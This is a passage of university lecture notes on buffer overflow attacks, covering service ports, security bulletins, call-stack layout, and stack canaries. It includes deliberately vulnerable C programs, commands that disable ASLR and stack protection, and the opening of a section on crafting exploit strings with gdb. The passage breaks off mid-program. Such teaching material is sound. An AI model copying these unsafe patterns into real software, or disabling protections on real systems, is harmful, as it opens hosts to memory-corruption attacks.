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21.1 Services and Ports

• Since buffer overflow attacks are typically targeted at specific

services running on certain designated ports, let’s start by

reviewing the service/port pairings for some of the standard

services in the internet.

• Every service on a machine is assigned a port. On a Unix/Linux

machine, the ports assigned to standard services are listed in

the file /etc/services. [The pathname to the same sort of a file in a Windows machine

is C:Windows\System32\Drivers\etc\services . Here is a very small sampling

from this list from my Linux laptop:

# The latest IANA port assignments for network services can be obtained

# from:

# http://www.iana.org/assignments/port-numbers

#

# The Well Known Ports are those from 0 through 1023. The Registered

# Ports are those from 1024 through 49151. The Dynamic and/or Private

# Ports are those from 49152 through 65535

# Each line describes one service, and is of the form:

#

# service-name port/protocol [aliases ...] [# comment]

echo 7/tcp

echo 7/udp

daytime 13/tcp

daytime 13/udp

ftp-data 20/tcp

ftp 21/tcp
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ssh 22/tcp # SSH Remote Login Protocol

telnet 23/tcp

smtp 25/tcp # email

time 37/tcp # timserver

domain 53/udp # DNS

domain 53/tcp # DNS

tftp 69/tcp

finger 79/tcp

http 80/tcp # WorldWideWeb HTTP

kerberos 88/tcp # Kerberos v5

hostname 101/tcp # hostnames # usually from sri-nic

pop3 110/tcp # POP version 3

sunrpc 111/tcp # portmapper TCP

sunrpc 111/udp # portmapper UDP

auth 113/tcp # authentication tap ident

auth 113/udp # authentication tap ident

sftp 115/tcp

sftp 115/udp

uucp-path 117/tcp

nntp 119/tcp # USENET News Transfer Protocol

ntp 123/tcp

netbios-ns 137/tcp # NETBIOS Name Service

imap2 143/tcp # Internet Mail Access Protocol

imap2 143/udp

https 443/tcp # encrypted HTTP

ipp 631/tcp # Internet Printing Protocol

rsync 873/tcp # synchronizing two hosts wrt their files

imaps 993/tcp # IMAP over SSL

pop3s 995/tcp # POP-3 over SSL

biff 512/udp # comsat

login 513/tcp

who 513/udp # whod

shell 514/tcp # cmd -- no passwords used

printer 515/tcp # spooler line printer spooler

printer 515/udp # line printer spooler

talk 517/udp

router 520/udp # route routed RIP

uucp 540/tcp # uucpd uucp daemon

...

...

and many many more, see /etc/services for the complete list.
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• It is important to note that when we talk about a network

service on a machine, it does not imply that the service is only

meant for human users in a network. In fact, many of the

services running on your computer are for the benefit of other

computers (and other devices such as printers, routers, etc.).

• A continuously running computer program that provides a

service to others in a network is frequently called a daemon

server or just daemon.
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21.2 WHY IS THE BUFFER OVERFLOW
PROBLEM SO IMPORTANT IN
COMPUTER AND NETWORK

SECURITY?

• Practically every worm that has been unleashed in the

Internet has exploited a buffer overflow vulnerability in some

networking software. Recent examples of this include the WannaCry

ransomware that broke into big news in 2017 and 2018 and its more recent

variants that have shut down several businesses (Kaseya, JBS, CNA

Financial, Travelex, etc.), a major petroleum distributor (Colonial

Pipeline), Univ. of California San Francisco, several city and government

offices around the country, etc. [See Section 22.8 of Lecture 22 for further information on

how WannaCry works.]

• Just to give you an idea that the ransomware attacks are only

increasing in frequency. Here is an FBI report titled “FBI:

Ransomware hit 860 critical infrastructure orgs in 2022” from

the following link:

https://www.bleepingcomputer.com/news/security/fbi-ransomware-hit-860-critical-infrastructure-orgs-in-2022/
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• Shown below is a graphic from the FBI report cited on the

previous page:

• These ransomware attacks indicate that the claim made in the

opening sentence of the first bullet on the previous page is just

as true today as it was 20 years ago when the Morris worm

caused a major disruption of the internet. [See Lecture 22 on viruses

and worms.]

• Although modern compilers can inject additional code into the

executables for runtime checks for the conditions that cause

buffer overflow, the production version of the executables may

not incorporate such protection for performance reasons.

Additional constraints, such as those that apply to small

embedded systems, may call for particularly small executables,

meaning executables without the protection against buffer

overflow. [IMPORTANT: For some of the compilers out there,
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the advertised built-in protection against stack corruption by

buffer overflow is mostly an illusion. See Section 21.6 of this

lecture.]

• Additionally, with billions of internet connected digital devices

now, there will always be many millions of such devices running

with unpatched software. [There are millions of computers around the world running

with pirated software that do not lend themselves to automatic patch updates.] Therefore, there

will always be hosts in the internet that will remain vulnerable

to buffer overflow exploits. Malware can be designed to spread

out from such buffer-overflow vulnerable hosts to other

ostensibly more secure hosts in a network if the latter have

trusted relationships with the former.

• Although this lecture focuses exclusively on buffer overflow

vulnerabilities and how they can be exploited, note that it is

also possible to have a buffer underflow vulnerability.

• A buffer underflow vulnerability occurs when two parts of the

same program treat the same allocated block of memory

differently. To illustrate, let’s say we allocate N bytes for a

string object in one part of the code and that in the same part

of the code we deposit a string of size n < N in the allocated

block of memory. In another part of the code, we believe that

we should be retrieving all N bytes for the object that is stored

there. It is likely what we get for the trailing N − n bytes could

8
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be garbage bytes resulting from how the allocated memory was

used previously by the program (before it was freed and

re-allocated). In the worst case, those trailing bytes could

contain information (such as parts of a private key) that an

adversary might find useful.
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21.3 SOME SECURITY BULLETINS
INVOLVING BUFFER OVERFLOW

• Just to point out that buffer overflow vulnerabilities continue to

plague the latest of the systems coming out of our high-tech

companies, here is a vulnerability that was published just a

couple of months back (Feb. 2022). This one is in the

Snapdragon mobile platform from Qualcom:

https://nvd.nist.gov/vuln/detail/CVE-2021-30309

The acronym “CVE” stands for “Common Vulnerabilities and

Exposures”. It’s a list of publicly disclosed security flaws that is

maintained by MITRE Corporation. Every vulnerability is

assigned a unique identifier. The identifier for the vulnerability

at the above link is “CVE-2021-30309”. In the information

related to the vulnerability at the above link, you will see the

following entries:

“Improper size validation of QXDM commands can lead to memory
corruption in Snapdragon Compute, Snapdragon Consumer IOT, Snapdragon
Industrial IOT, Snapdragon Mobile

Buffer Copy without Checking Size of Input (Classic Buffer Overflow)”

• For some of the older entries, I’m going to consider the telnet

service in particular since it has been the subject of a fairly

large number of security problems. [The Telnet protocol (through
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the command telnet) allows a user to establish a terminal session on a

remote machine for the purpose of executing commands there. For

example, if you wanted to log into, say, moonshine.ecn.purdue.edu from

your personal machine, you would use the command ’telnet

moonshine.ecn.purdue.edu’. For reasons of security, remote terminal

sessions are now created with the SSH command, as you so well know.]

[Although the telnet command is no longer used by human users to gain

terminal access at other hosts in a network, it is still used for certain kinds

of computer-to-computer exchanges across networks.]

• From the port mappings listed in Section 21.1, a constantly

running telnetd daemon at a Telnet server monitors port 23

for incoming connection requests from Telnet clients. When a

client seeks a Telnet connection with a remote server, the client

runs a program called telnet that sends to the server machine

a socket number, which is a combination of the IP address of

the client machine together with the port number that the

client will use for communicating with the server. When the

server receives the client socket number, it acknowledges the

request by sending back to the client its own socket number.

• In what follows, let’s now look at a couple of the security

bulletins that have been issued with regard to the telnet service.

[These will be followed by a couple of security bulletins dealing with other types of buffer overflow

exploits.] On February 10, 2007, US-CERT (United States

Computer Emergency Readiness Team) issued the following

Vulnerability Note:
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Vulnerability Note VU#881872

OVERVIEW: A vulnerability in the Sun Solaris telnet daemon (in.telnetd)

could allow a remote attacker to log on to the system with elevated

privileges.

Description: The Sun Solaris telnet daemon may accept authentication

information vis the USER environment variable. However, the

daemon does not properly sanitize this information before passing it

on to the login program and login makes unsafe assumptions about the

information. This may allow a remote attacker to trivially bypass the

telnet and login authentication mechanisms. .....

This vulnerability is being exploited by a worm .....

......

......

The problem occurs (supposedly because of the buffer overflow

attack) if you make a connection with the string

“telnet -l -froot”. (As a side note, US-CERT

(http://www.us-cert.gov/) was established in 2003 to protect the internet

infrastructure. It publishes Vulnerability Notes at

http://www.kb.cert.org/vuls/.) As mentioned in the Vulnerability

Note, there is at least one worm out there that can make use of

the exploit mentioned above to break into a remote host either

as an unprivileged or a privileged user and execute commands

with the privileges of that user.

• On December 31, 2004, CISCO issued the following security

advisory:

Cisco Security Advisory: Cisco Telnet Denial of Service Vulnerability

Document ID: 61671

Revision 2.4
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Summary:

A specifically crafted TCP connection to a telnet or a reverse telnet

port of a Cisco device running Internetwork Operating System (IOS) may

block further telnet, reverse telnet, remote shell (RSH), secure shell

(SSH), and in some cases HTTP access to the Cisco device. Data Link

Switching (DLSw) and protocol translation connections may also be

affected. Telnet, reverse telnet, RSH, SSH, DLSw and protocol

translation sessions established prior to exploitation are not affected.

....

....

This vulnerability affects all Cisco devices that permit access via

telnet or reverse telnet.......

....

....

Telnet, RSH, and SSH are used for remote management of Cisco IOS devices.

• Here is a security bulletin from Ubuntu that was triggered by

the buffer overflow problem. If you are in the habit of

looking at the descriptions associated with the all-too-frequent

software updates to Ubuntu, you have surely noticed that

buffer-overflow continues to be a big problem as a source of

major security vulnerabilities.

April 9, 2010

Security upadates for the packages:

erlang-base

erlang-crypto

erlang-inets

erlang-mnesia

erlang-public-key

erlang-runtime-tools

erlang-ssl
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erlang-syantax-tools

erlang-xmerl

Changes for the versions:

1:13.b.1-dfsg-2ubuntu1

1:13.b.1-dfsg-2ubuntu1.1

Version 1:13.b.1-dfsg-2ubuntu1.1:

* SECURITY UPDATE: denial of service via heap-based buffer overflow
in pcre compile.c in the Perl-Compatible Regular Expression (PCRE)
library (LP: #535090)

- CVE-2008-2371

- debian/patches/pcre-crash.patch is cherrypicked from

upstream commit

http://github.com/erlang/otp/commit/bb6370a2. The hunk

for the testsuite does not apply cleanly and is not

needed for the fix so was stripped. This fix is part

of the current upstream OTP release R13B04.

• The following security bulletin, rated critical by Microsoft and

dated March 14, 2017, concerns the vulnerability exploited by

the WannaCry ransomware that first became big news 2017

and 2018. Its variants are continuing to plague systems in 2024.

See Section 22.8 of Lecture 29 for further information regarding

this worm.

Microsoft Security Bulletin MS17-010 - Critical

10/11/2017

Security Update for Microsoft Windows SMB Server (4013389)

Published: March 14, 2017

Version: 1.0

Executive Summary
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This security update resolves vulnerabilities in Microsoft

Windows. The most severe of the vulnerabilities could allow

remote code execution if an attacker sends specially

crafted messages to a Microsoft Server Message Block 1.0

(SMBv1) server.

This security update is rated Critical for all supported

releases of Microsoft Windows. For more information, see

the Affected Software and Vulnerability Severity Ratings

section.

The security update addresses the vulnerabilities by

correcting how SMBv1 handles specially crafted requests.

For more information about the vulnerabilities, see the

Vulnerability Information section.

For more information about this update, see Microsoft

Knowledge Base Article 4013389. Affected Software and

Vulnerability Severity Ratings

The following software versions or editions are

affected. Versions or editions that are not listed are

either past their support life cycle or are not

affected. To determine the support life cycle for your

software version or edition, see Microsoft Support

Lifecycle.

...

...
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21.4 BUFFER OVERFLOW ATTACK:
UNDERSTANDING THE CALL STACK

• Let’s first look at the two different ways in which you can

allocate memory for a variable in a C program:

int data[100];

int* ptr = malloc( 100 * sizeof(int) );

The first declaration allocates memory on the stack at compile

time and the second declaration allocates memory on the heap

at run time. [Of course, with either declaration, you would be able to use array

indexing to access the individual elements of the array. So, data[3] and ptr[3] would

fetch the same value in both cases, assuming that the same array is stored in both

cases.] As you surely know already, runtime memory

allocation is much more expensive than compile time memory

allocation. As to the relative costs, see Chapter 12 “Weak

References for Memory Management” of my book “Scripting

with Objects” published by John Wiley (2008). [Although C, C++, and

Objective-C are the main languages with buffer overflow vulnerabilities, they are foundational

languages in the sense that much software written in the so-called safe languages links to

libraries written in C, C++, and Objective-C. So even when you create an application in a safe

language, if it calls on libraries written in C (a very common occurrence), your application

could still be vulnerable to buffer overflow. That is one of the main reasons for why every

application should be allowed to run with only the least privileges required for its execution.]
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• A buffer overflow occurs on the stack when information is

written into the memory allocated to a variable on a stack but

the size of this information exceeds what was allocated at

compile time.

• The same thing can happen in a heap. When the size of

information written out to a memory location exceeds the block

of memory allocated for the object at that location, the

overwrite in the adjoining memory locations can corrupt the

data there and, at the least, cause a bug in the execution of the

program. In general, though, since the return address to the

calling function is not stored in a heap, it is more difficult to

launch exploits with heap overflows than with stack overflows.

As you will see in this lecture, a stack overflow can be used to

overwrite the location where the return address to the calling

function is stored and that can send the execution into a piece

of malicious code. [Regarding the phrase “return addresses to functions,” in contrast

with what is typically stored in a heap, in general a stack stores a sequence of stack frames,

one for each function that has not yet finished execution in a nested invocation of functions.

Stored in each stack frame is the address of the calling function to which the control must

return after the called function has finished running.]

• The greater difficulty of launching exploits with heap overflows

does not diminish their importance from an overall security

standpoint. To underscore this fact, a mid-July 2015 update of

Google Chrome for Android included several patches to fix the

heap buffer overflow vulnerabilities in the software. You can get
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more information on these vulnerabilities by googling

CVE-2015-1271, CVE-2015-1273, CVE-2015-1279, and CVE-2015-1283.

• Nonetheless, since a stack buffer overflow is far more likely to be

the cause of a security vulnerability than a heap overflow, the

rest of this section focuses exclusively on the former.

• In order to understand a stack buffer overflow attack, you must

first understand how a process uses its stack. What we mean by

a stack here is also referred to as a run-time stack, call stack,

control stack, execution stack, etc.

• When you run an executable, it is run in a process. Every

process is assigned a stack. [In processes that support multithreaded execution,

each thread gets a separate stack.] As the process executes the main

function of the program, it is likely to encounter local variables

and calls to functions. As it encounters each new local variable,

it is pushed into the stack, and as it encounters a function call,

it creates a new stackframe on the stack. [This operational logic

works recursively, in the sense that as local variables and nested function calls are

encountered during the execution of a function, the local variables are pushed into the

stack and the function calls encountered result in the creation of stack frames.]

• I’ll now elaborate the notion of a stackframe with the help of

the simple C program shown below. My explanation related to

this example will use the notions of “Instruction Pointer,” “Base

18
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Pointer,” “Stack Pointer,” etc. These concepts are defined more

precisely later in this section.

// ex0.c:

void my_func(int a, int b, int c) {

int x = 100;

}

void main() {

my_func(1,2,3);

}

Let’s now generate the assembler code file for this program by

gcc -m32 -S -o ex0.S ex0.c

where I have intentionally used the -m32 option to create a

32-bit assembler code file in order to make simpler the

explanation of the stack. [The “-S” option to the gcc command causes the compiler to

output the assembler code for the C file ex0.c. The “-o” option names the output file (which, in this case,

would be the default anyway.] [By the way, in general, you can execute 32-bit code in 64-bit Linux as

long as the needed 32-bit libraries can be found.] If you examine the section for

main in the assembler code file ex0.S, you are likely to see the

following commands in it: [Although the precise details regarding what the call stack

would look like depend on the machine architecture and the specific compiler used, the following is not an

unrealistic model for the assembly code generated by the gcc compiler for the x86 architectures:]

pushl $3

pushl $2

pushl $1

call my_func

These stack actions call for the third argument to be pushed

into the stack, followed by the pushing of the second argument,
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and, then, by the same action for the first argument.

Subsequently, there is the call to my func. This last action

pushes the current content of the Instruction Pointer (IP) into

the stack, where it becomes the “return address for the calling

function” in the stack frame for my func. [The return address is to the point in

the calling function where my func() was called.] The call to my func also causes

the current content of the Base Pointer to be pushed into the

stack — we will refer to this value as saved BP. [The reason for saving the

current content of the Base Pointer, which is the memory address of base of the calling stack frame, is that

when the current stackframe finishes execution, we must quickly restore the Base Pointer to the value for the

calling stackframe.] By the time, the flow of execution has processed

the statement int x = 100 inside my func (and just prior to

returning from this function), the stack will look like

stack_ptr--> x |

saved_BP |

return-address to main | stack frame for my_func

a |

b |

c |

return address in the stackframe for main | stack frame for main

• The example that was presented above is an explanation for:

(1) Why the parameters of a called function appear below the

return address for the calling function; (2) The order in which

the parameters of the called function appear in its stackframe;

and (3) Why we need to store in the called stackframe the value

of the Base Pointer as it was during the time the execution was

in the calling stackframe. [If you are trying to map the assembler code in ex0.S to the
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stack shown above, it’s interesting to note that in the six lines shown above for the stackframe for my func,

the bottom four are created by the assembler code in the main section of ex0.S. Just the top two lines are

produced by the code in the section for my func.]

• Let’s now consider the following slightly more elaborate C

program:

// ex1.c

#include <stdio.h>

int main() {

int x = foo( 10 );

printf( "the value of x = %d\n", x );

return 0;

}

int foo( int i ) {

int ii = i + i;

int iii = bar( ii );

int iiii = 2 * iii;

return iiii;

}

int bar( int j ) {

int jj = j + j;

return jj;

}

• Using the previous example as a guide, let’s now focus on what

is in the call stack for the process in which the program is being

executed at the moment when foo has just called called bar

and the statement ‘int jj = j+j’ of bar() has just been

executed.
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stack_ptr--> jj |

saved_BP |

return-address to foo | stack frame for bar

j |

iii |

ii |

saved_BP | stack frame for foo

return-address to main |

i |

x | stack frame for main

return address in the stackframe for main |

Again note that the call stack consists of a sequence of

stackframes, one for each calling function that has not yet

finished execution, topped by the stackframe for the function

currently undergoing execution. In our case, main called foo

and foo called bar. The top stackframe is for the function that

just got called and that is currently being executed.

• Strictly speaking, the return address you see in each

stackframe is the memory address of the program instruction

just after the specific location in the code for the calling

function that resulted in the creation of the stackframe. This

memory address would be held by the Instruction Pointer

register at the moment the stackframe was created. [The IP register

always points to the next program instruction to be executed.] Informally speaking, we

can say that as a new stackframe is being constructed for the

just called function, when goes into the “return address” is the

address of the calling function in the memory.
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• The values stored in each stack frame above the location of the

return address are for those local variables that are still in scope

at the current moment. That is why the stack frame for foo

shows iii at the top, but not yet iiii, since the latter has not

yet been seen (when bar was called). Note that the parameters

in the header of a function are stored below the location of the

return address. You should already know the reason for that

from my explanation of the ex0.c example.

• As the compiler encounters each new variable, it issues an

instruction for pushing the value of the variable into the stack.

That is why the value of the variable jj is at the top of the

stack. Subsequently, as each variable goes out of scope, its value

is popped off the stack. In our simple example, when the thread

of execution reaches the right brace of the body of the definition

of bar, the variable jj would be popped off the stack and what

will be at the top will be pointer to the top of the stack frame

for the calling function foo.

• As I did earlier for for the case of ex0.c, how the stack is laid

out for ex1.c can be seen by generating the assembler code file

for that program by giving the ‘-S’ option to the gcc

command, as in

gcc -O0 -S ex1.c -o ex1.S

where the ‘-O0’ flag tells the compiler to use the optimization

level 0 so that the assembler code that is produced can be
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comprehended by humans. [The different integer values associated with ‘-O’ are 0 for

optimization for compile time, 1 for optimization for code size and execution, 2 for further optimization for

code size and execution, and so on. Not specifying an integer is the same as using ‘1’. Also note that the

option ‘-O0’ is the default for calling gcc. So the above call produces the same output as the call ‘gcc -S

ex1.c -o ex1.S’] You can also add the flag ‘-fverbose-asm’ to the

above command-line to see compiler generated comments in the

output so that you can better establish the relationship between

the assembler code and the source code. Shown below is a

section of the assembler output in the file ex1.S:

... ..... .....

... ..... .....

.globl bar

.type bar, @function

bar:

pushl %ebp

movl %esp, %ebp

movl 8(%ebp), %eax

addl %eax, %eax

popl %ebp

ret

.size bar, .-bar

.globl foo

.type foo, @function

foo:

pushl %ebp

movl %esp, %ebp

subl $4, %esp

movl 8(%ebp), %eax

addl %eax, %eax

movl %eax, (%esp)

call bar

leave

ret

.size foo, .-foo

...

...
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• To see what the above assembler output says about the call

stack layout, note that the Intel x86 calling convention (which

refers to how a calling function passes parameters values to a

called function and how the former receives the returned value)

uses the following 32-bit registers for holding the pointers

described below [Here is a list of all 32-bit registers for x86 processors: esp for holding

the top address of the stack, ebp for holding the address of the base of a stackframe, eip used as

the instruction pointer, eax used as the accumulator, ebx used as a base pointer for memory access

(regarding the difference between ebp and ebx, the former can only be used for the within-stack

operations that are described later in this section), esi used for string and memory array copying,

ecx called the counter register and used as a loop counter, edi used as destination index register,

and edx used as a data register. For 64-bit x86 processors, the register names are the same

except that the first letter is always ’r’. The presentation in Section 21.8 on designing strings for

carrying out buffer overflow exploits is based on 64-bit x86. The discussion in that section uses the

register names rsp, rbp, etc.]:

Stack Pointer: The name of the register that holds this pointer

is esp for 32-bit processors and rsp for 64-bit processors,

the last two letters of the name standing for “stack pointer”.

This register always points to the top of the process call

stack.

Base Pointer: This pointer is also frequently called the Frame

Pointer. This register is denoted ebp for 32-bit processors

and rbp for 64-bit processors. The address in the ebp

register points to the base of the current stackframe. By its

very nature, this address stays fixed as long as the flow of
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execution is in the current stackframe (as opposed to, say,

the constantly changing memory address pointed to by the

Stack Pointer). This allows for efficient memory

dereferencing for accessing the function call parameters and

the local variables in the function corresponding to the

current stack frame. Note that these parameters and

variables remain at fixed distances vis-a-vis the memory

address pointed to by the Base Pointer regardless of push

and pop operations on the stack.

Instruction Pointer: This register is denoted eip. This holds the

address of the next instruction to be executed.

• Shown below is the annotated version for a portion of the

assembler output (shown earlier in this section) that illustrates

more clearly the construction of the call stack:

... ..... .....

... ..... .....

.global foo

.type foo, @function (directives useful for assembler/linker

begin with a dot)

foo:

pushl %ebp push the value stored in the register ebp

into the stack.

movl %esp, %ebp move the value in register esp to register ebp

(we are using the AT&T (gcc) syntax:

’op source dest’)

subl $4, %esp subtract decimal 4 from the value in esp register

(so stack ptr will now point to 4 locations
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down, meaning in the direction in which

the stack grows as you push info into it)

movl 8(%ebp), %eax move to accumulator a value that is stored at

stack location decimal 8 + the memory address

stored in ebp (this moves local var i into

accumulator)

addl %eax, %eax i + i

movl %eax, (%esp) move the content of the accumulator into the

stack location pointed to by the content of the

esp register (this is where you would want to

store the value of the local variable ii that

then becomes the argument to bar)

call bar call bar

leave

.... ....

.... ....

• Note that by convention the stack grows downwards (which is

opposite from how a stack is shown pictorially) and that, as the

stack grows, the addresses go from high to low. So when you

push a 4-byte variable into the stack, the address to which the

stack pointer will point will be the previous value minus 4. This

should explain the sub instruction (for subtraction). The ‘l’

suffix on the instructions shown (as in pushl, movl, subl, etc.)

stands for ‘long’, meaning that they are 32-bit instructions. (By

the same token, the suffix ‘b’ stands for single byte instructions, and ‘w’

for ‘word’, meaning 16-bit instructions.) Considered without the

suffixes, push, mov, sub, etc., are the instruction

mnemonics that constitute the x86 assembly language.

Other mnemonic instructions in this language include jmp for

unconditional jump, jne for jump on non-equality, je for jump
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on equality, etc.

• Finally, here is a list of C functions vulnerable to buffer overflow:

gets

strcpy

strcat

sprintf

scanf

fscanf

vfscanf

vsprintf

vscanf

vsscanf

streadd

strecpy

Note that as I mentioned earlier at the beginning of Section

21.4, even if you are programming in a high-level language that

makes sure that when the code asks for an object to be stored

at a memory address, the size of the object does not exceed the

memory allocated for it at the compile time, it is entirely

possible that the language you are using is calling on libraries

written in, say, C, for creating the executable code. This opens

up the possibility that your executable could be exploited for

malware injection. [While normal code execution would invoke the safety protections made

available by your high-level language, what about the abnormal code execution triggered by some malware

causing an exception to be thrown? As to what happens next would depend on how the exception handling

code is written in your code. An apt analogy here would be building a sturdy house over a weak foundation.]
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Back to TOC

21.4.1 Buffer Overflow Attack:
Overrunning the Memory Allocated

on the Call Stack

• Next consider the following program in C:

// buffover.c

#include <stdio.h>

int foo(){

char ch; char buffer[5]; int i = 0;

printf("Say something: ");

while ((ch = getchar()) != ’\n’) buffer[i++] = ch;

buffer[i] = ’\0’;

printf("You said: %s\n", buffer);

return 0;

}

int main() {

foo();

}

This program asks a user to enter a message. Whatever the user

enters in a single line is accepted as the message and stored in

the array buffer of chars. [As the user enters keystrokes, the

corresponding characters are entered into the operating system’s keyboard buffer and

then, when the user hits the “Enter” key on the keyboard, the operating system

transfers the contents of the keyboard buffer into the stdin stream’s internal buffer.

The call to getchar() reads one character at a time from this buffer.]
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• Let’s now see what the call stack would look like just before the

execution of the while loop in the program:

stack_ptr--> i (four bytes of memory)

buffer (five bytes of memory)

ch (one byte of memory)

saved_BP

return-address to the top of the calling stack frame

saved_BP

return address in the stackframe for main

For a more complete look at the call stack, you will have to
examine the file generated by

gcc -S -O buffover.c -o buffover.S

The assembler code in buffover.S shows more clearly how a

jump instruction is used to execute the while loop of the source

code. As the while loop is entering characters in the memory

allocated to the array variable buffer on the stack, there is no

mechanism in place for stopping when the five bytes allocated

to buffer are used up.

• What happens next depends entirely on the details of how the

stacks are implemented in a particular system and how the

memory is allocated. If the system has the notion of a memory

word consisting of, say, 32 bits and if stack memory is allocated

at word boundaries, then as you overrun the buffer in the above

program, the program will continue to function up to a point as

you enter longer and longer messages in response to the prompt.
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• But at some point, the string you enter will begin to overwrite

the memory locations allocated to other variables on the stack

and also possibly the location where the return address of the

calling function is stored. When this happens, the program will

be aborted with a segmentation fault. Check it out for yourself

by compiling the program and executing it first with a short

input and then with a very long input.

• I’ll now devote the rest of this section to reviewing some of the

basic ideas that have been developed over the years for

protecting an executable against a buffer overflow attack. As it

turns out, none of the methods that are currently available are

completely foolproof — although they do make it more

challenging to mount a buffer overflow attack.

• The basic idea that is used in several buffer overflow

protection algorithms is a combination of rearrangement of

the local variables on the stack and the insertion of a special

variable, commonly called a canary, just below the stack

locations reserved for the local variables.

• To understand these basic ideas used for buffer overflow

protection, it is good to first become familiar with what are

known as the “prologue” and the “epilogue” code generators

that are implicitly associated with each function in a source

code library. For any given function, it is the job of the code
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segment generated by the prologue to reserve memory for the

local variables on the call stack and it is the job of the code

generated by the epilogue to clean up the stack frame just

before the function is done and the flow of execution has

returned to the calling function.

• When stack protection is needed, the code generated by the

prologue also inserts a special location in the stackframe where

a guard value is stored. This location in a stackframe is

commonly called a canary and any change in the guard value

stored there taken as an attempt at buffer overflow

exploitation. To explain this point in greater detail, shown

below are two canaries, one in the stackframe for the function

foo() and the other in the stackframe for main. The first version

of StackGuard, a well known approach to buffer overflow

protection, used the guard value of 0x000aff0d which is a null

byte 0x00, followed by the newline character 0x0a, followed by

-1.

stack_ptr--> i (four bytes of memory)

buffer (five bytes of memory)

ch (one byte of memory)

saved_BP

canary

return-address to the top of the calling stack frame

saved_BP

canary

return address in the stackframe for main

Here is what is achieved by storing the value 0x000aff0d in the
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canary: An attacker would not want to change the value of the

canary since the epilogue would detect that immediately and

cause the process to abort. So the attacker would have to create

an overflow string that incorporates the sequence of characters

0x000aff0d. But now the C library function strcpy() and gets()

for changing the return address would not work. That is

because strcpy() will not be able to get past the null byte in

the attacker’s overflow string and gets() won’t be able to get

past the newline character.

• Additional protection against buffer overflow exploits can be

created by a function prologue that also rearranges the local

variables the layout in a stackframe so that the scalar variables

are above the array variables in the stack, as shown below for

our example:

stack_ptr--> i (four bytes of memory)

ch (one byte of memory)

buffer (five bytes of memory)

saved_BP

canary

return-address to the top of the calling stack frame

saved_BP

canary

return address in the stackframe for main

Now any overflow in the memory allocated to the variable

buffer will not corrupt the scalar variables i and ch. Should

there be any overflow in the value being stored in buffer, it will

affect the canary. However, note that in the very simple
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depiction shown above, the saved frame pointer saved BP would

still be vulnerable. However, by having the prologue code move

the the canary to a location immediately above saved frame

pointer saved BP, we could protect that also.

• What I have presented above are the most elementary ideas in

stack overflow protection. The reader might want to look up the

paper “Four Different Tricks to Bypass StackShield and StackGuard

Protection” by Gerardo Richarte that you can easily find by

Googling it for additional information. As the reader will find in

that publication, the canary string I mention above —

0x000aff0d — is known as the terminator canary. There are two

other kinds of canaries: Random Canaries, and Random XOR

Canaries. All three approaches have their pros and cons and

none is 100% foolproof. Additionally, they all extract a

performance penalty in code execution speed.

• With the gcc compiler, when an executable is created with the

flag “-fstack-protector”, the stack protection logic is only

applied to functions that allocate buffers larger than 8 bytes.

However, when the flag used during compilation is

“-fstack-protector-all”, it is applied to all functions in the

source code.

• Note that contrary to what is generally believed, the stock

version of the gcc compiler does not turn the stack protection
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on by default. Some of the Linux distribution have taken it

upon themselves to ship with patched version of gcc so that by

default it provides stack protection. [There is some controversy about whether

that is a good thing or a bad thing. Stackoverflow.com has some discussion about this issue. Check it out.]
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Back to TOC

21.5 DEMONSTRATION OF PROGRAM
MISBEHAVIOR

CAUSED BY BUFFER OVERFLOW

• I will now give a vivid demonstration of how a program may

continue to function but produce incorrect results because of

buffer overflow on the stack.

• Let’s consider the following variation on the program shown in

Section 21.4.1:

// buffover2.c

#include <stdio.h>

int foo();

int main() {

while(1) foo();

}

int foo(){

unsigned int yy = 0;

char buffer[5]; char ch; int i = 0;

printf("Say something: ");

while ((ch = getchar()) != ’\n’) buffer[i++] = ch;

buffer[i] = ’\0’;

printf("You said: %s\n", buffer);

printf("The variable yy: %d\n", yy);

return 0;

}
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• The important difference here from the program

buffover.c in the previous section is that now we define a

new variable yy before allocating memory for the array

variable buffer. The other change here, placing the call to

foo() inside the infinite loop in main is just for convenience.

By setting up the program in this manner, you can experiment

with longer and longer input strings until you get a segfault and

the program crashes. [Note again that we have two while loops in the code,

one in main() so that you can experiment with longer and longer input strings, and

the other inside foo() for transferring the contents of stdin’s buffer into the memory

allocated (on the stack) to the array buffer one char at a time.]

• The stack frame for foo() just prior to the execution of its

while loop will look like:

stack_ptr--> i (four bytes of memory)

ch (one byte of memory)

buffer (five bytes of memory)

yy (four bytes)

saved_BP

return-address to the top of the calling stack frame

main

As you enter longer and longer messages in response to the

“Say something:” prompt, what gets written into the array

buffer would at some point overwrite the memory allocated to

the variable yy.
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• So, whereas the program logic dictates that the value of the

local variable yy should always be 0, what you actually see may

depend on what string you entered in response to the prompt.

When I interact with the program on my Linux laptop, I see the

following behavior:

Say something: 0123456789012345678901234567

You said: 0123456789012345678901234567

The variable yy: 0 <----- correct

Say something: 01234567890123456789012345678

You said: 01234567890123456789012345678

The variable yy: 56 <------ ERROR

Say something: 012345678901234567890123456789

You said: 012345678901234567890123456789

The variable yy: 14648 <------ ERROR

Say something: 0123456789012345678901234567890

You said: 0123456789012345678901234567890

The variable yy: 3160376 <------ ERROR

Say something: 01234567890123456789012345678901

You said: 01234567890123456789012345678901

The variable yy: 825243960 <------ ERROR

....

• As you would expect, as you continue to enter longer and longer

strings, at some point the program will crash with a segfault.

• Ordinarily, you would compile the program shown above with a

command line like

gcc buffover2.c -o buffover2
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which would leave the executable in a file named buffover2.

However, if you are unable to reproduce the buffer overflow

effect with the compilation command as shown above, try the

following:

gcc -fno-stack-protector buffover2.c -o buffover2

As mentioned toward the end of last section, the default stack

overflow protection provided by --fstack-protector is not

foolproof. As I will show in the next section, this protection

does not prevent some fairly ordinary attempts at stack memory

corruption.

To further increase the odds of the demo working in your

system, you could also try

sudo sysctl -w kernel.randomize_va_space=0

gcc -fno-stack-protector -z execstack buffover2.c -o buffover2

where the the first command turns off address-space layout

randomization (ASLR) that I have described in Section 21.8

and the additional flag “-z execstack” makes the stack

executable.
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Back to TOC

21.6 USING gdb TO CRAFT PROGRAM
INPUTS FOR EXPLOITING

BUFFER-OVERFLOW VULNERABILITY

• As you now know, exploiting a buffer overflow vulnerability in

some application software means, first, that there exists in the

application at least one function that requires a string input at

run time, and, second, when this function is called with a

specially formatted string, that would cause the flow of

execution to be redirected in a way that was not intended by

the creators of the application.

• Our goal in this section is to answer the question: How does one

craft the specially formatted string that would be needed for a

buffer overflow exploit?

• One of the most basic tools you need for designing such a string

is an assembler-level debugger such as the very popular GNU

gdb.

• We will carry out our buffer-overflow input-string design

exercise on the following C file:
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// buffover4.c

#include <stdio.h>

#include <string.h>

void foo(char *s) {

char buf[4];

strcpy(buf, s);

